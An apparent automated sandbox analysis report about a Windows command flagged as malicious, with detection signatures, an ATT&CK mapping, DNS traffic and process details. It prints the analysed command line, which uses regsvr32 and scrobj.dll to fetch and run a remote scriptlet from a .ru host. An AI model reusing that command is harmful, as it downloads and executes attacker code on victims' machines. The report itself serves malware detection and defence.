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Windows
Analysis Report
Overview
General Information
| Analysis ID: | 1565425 |
| Infos: |  |
 | |
Detection
| Score: | 56 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Antivirus detection for URL or domain
Sigma detected: Execute Scriptlet from internet Via Regsvr32
Creates a process in suspended mode (likely to inject code)
Registers a DLL
Sigma detected: Scripting/CommandLine Process Spawned Regsvr32
Tries to resolve domain names, but no domain seems valid (expired dropper behavior)
Classification
- System is w10x64
cmd.exe (PID: 6756 cmdline: cmd /C "re gsvr32 /s /n /u /i:h ttp://serv er1.aserde fa.ru/depl oy.xml scr obj.dll" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B) - conhost.exe (PID: 4144 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
regsvr32.exe (PID: 5332 cmdline: regsvr32 / s /n /u /i :http://se rver1.aser defa.ru/de ploy.xml s crobj.dll MD5: 878E47C8656E53AE8A8A21E927C6F7E0)
- cleanup
⊘No configs have been found
⊘No yara matches
| Source: | Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): | ||
Persistence and Installation Behavior |   |
|---|
| Source: | Author: Joe Security: | ||
⊘No Suricata rule has matched
Click to jump to signature section
Show All Signature Results
AV Detection | |
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| Source: | Avira URL Cloud: | ||
| Source: | DNS traffic detected: | ||
| Source: | UDP traffic detected without corresponding DNS query: | ||
| Source: | DNS traffic detected: | ||
| Source: | String found in binary or memory: | ||
| Source: | String found in binary or memory: | ||
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| Source: | String found in binary or memory: | ||
| Source: | Classification label: | ||
| Source: | Mutant created: | ||
| Source: | Key opened: | Jump to behavior | ||
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| Source: | Process created: | Jump to behavior | ||
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| Source: | Key value queried: | Jump to behavior | ||
| Source: | Process created: | ||
| Source: | Binary or memory string: | ||
| Source: | Process created: | Jump to behavior | ||
| Reconnaissance | Resource Development | Initial Access | Execution | Persistence | Privilege Escalation | Defense Evasion | Credential Access | Discovery | Lateral Movement | Collection | Command and Control | Exfiltration | Impact |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| Gather Victim Identity Information | Acquire Infrastructure | Valid Accounts | Windows Management Instrumentation | 1 DLL Side-Loading | 11 Process Injection | 11 Regsvr32 | OS Credential Dumping | 1 Security Software Discovery | Remote Services | Data from Local System | 1 Non-Application Layer Protocol | Exfiltration Over Other Network Medium | Abuse Accessibility Features |
| Credentials | Domains | Default Accounts | Scheduled Task/Job | Boot or Logon Initialization Scripts | 1 DLL Side-Loading | 11 Process Injection | LSASS Memory | 1 System Information Discovery | Remote Desktop Protocol | Data from Removable Media | 1 Application Layer Protocol | Exfiltration Over Bluetooth | Network Denial of Service |
| Email Addresses | DNS Server | Domain Accounts | At | Logon Script (Windows) | Logon Script (Windows) | 1 DLL Side-Loading | Security Account Manager | Query Registry | SMB/Windows Admin Shares | Data from Network Shared Drive | Steganography | Automated Exfiltration | Data Encrypted for Impact |
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
InternetThis section contains all screenshots as thumbnails, including those not shown in the slideshow.
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
⊘No Antivirus matches
| Source | Detection | Scanner | Label | Link |
|---|---|---|---|---|
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 0% | Avira URL Cloud | safe | ||
| 100% | Avira URL Cloud | malware |
| Name | IP | Active | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|---|
| server1.aserdefa.ru | unknown | unknown | true | unknown |
| Name | Source | Malicious | Antivirus Detection | Reputation |
|---|---|---|---|---|
| false |
| unknown | ||
| false |
| unknown | ||
| true |
| unknown | ||
| false |
| unknown | ||
| true |
| unknown |
⊘No contacted IP infos
| Joe Sandbox version: | 41.0.0 Charoite |
| Analysis ID: | 1565425 |
| Start date and time: | 2024-11-29 19:53:39 +01:00 |
| Joe Sandbox product: | CloudBasic |
| Overall analysis duration: | 0h 1m 29s |
| Hypervisor based Inspection enabled: | false |
| Report type: | full |
| Cookbook file name: | defaultwindowscmdlinecookbook.jbs |
| Analysis system description: | Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01 |
| Number of analysed new started processes analysed: | 3 |
| Number of new started drivers analysed: | 0 |
| Number of existing processes analysed: | 0 |
| Number of existing drivers analysed: | 0 |
| Number of injected processes analysed: | 0 |
| Technologies: |
|
| Analysis Mode: | default |
| Analysis stop reason: | Timeout |
| Detection: | MAL |
| Classification: | mal56.evad.win@4/0@1/0 |
| EGA Information: | Failed |
| HCA Information: |
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| Cookbook Comments: |
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- Not all processes where analyzed, report is missing behavior information
- Report size getting too big, too many NtOpenKeyEx calls found.
- Report size getting too big, too many NtProtectVirtualMemory calls found.
- Report size getting too big, too many NtQueryValueKey calls found.
⊘No simulations
⊘No created / dropped files found
⊘No static file info
Key Decision
Richest Path
Thread / callback creation
Lower opacity -> Library Node| Timestamp | Source Port | Dest Port | Source IP | Dest IP |
|---|---|---|---|---|
| Nov 29, 2024 19:54:30.526458025 CET | 54945 | 53 | 192.168.2.4 | 1.1.1.1 |
| Nov 29, 2024 19:54:30.671034098 CET | 53 | 54945 | 1.1.1.1 | 192.168.2.4 |
| Timestamp | Source IP | Dest IP | Trans ID | OP Code | Name | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|
| Nov 29, 2024 19:54:30.526458025 CET | 192.168.2.4 | 1.1.1.1 | 0x2b3 | Standard query (0) | A (IP address) | IN (0x0001) | false |
| Timestamp | Source IP | Dest IP | Trans ID | Reply Code | Name | CName | Address | Type | Class | DNS over HTTPS |
|---|---|---|---|---|---|---|---|---|---|---|
| Nov 29, 2024 19:54:30.671034098 CET | 1.1.1.1 | 192.168.2.4 | 0x2b3 | Name error (3) | none | none | A (IP address) | IN (0x0001) | false |
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| Target ID: | 0 |
| Start time: | 13:54:28 |
| Start date: | 29/11/2024 |
| Path: | C:\Windows\SysWOW64\cmd.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x240000 |
| File size: | 236'544 bytes |
| MD5 hash: | D0FCE3AFA6AA1D58CE9FA336CC2B675B |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 1 |
| Start time: | 13:54:28 |
| Start date: | 29/11/2024 |
| Path: | C:\Windows\System32\conhost.exe |
| Wow64 process (32bit): | false |
| Commandline: | |
| Imagebase: | 0x7ff7699e0000 |
| File size: | 862'208 bytes |
| MD5 hash: | 0D698AF330FD17BEE3BF90011D49251D |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
| Target ID: | 2 |
| Start time: | 13:54:29 |
| Start date: | 29/11/2024 |
| Path: | C:\Windows\SysWOW64\regsvr32.exe |
| Wow64 process (32bit): | true |
| Commandline: | |
| Imagebase: | 0x8a0000 |
| File size: | 20'992 bytes |
| MD5 hash: | 878E47C8656E53AE8A8A21E927C6F7E0 |
| Has elevated privileges: | true |
| Has administrator privileges: | true |
| Programmed in: | C, C++ or other language |
| Reputation: | high |
| Has exited: | true |
⊘No disassembly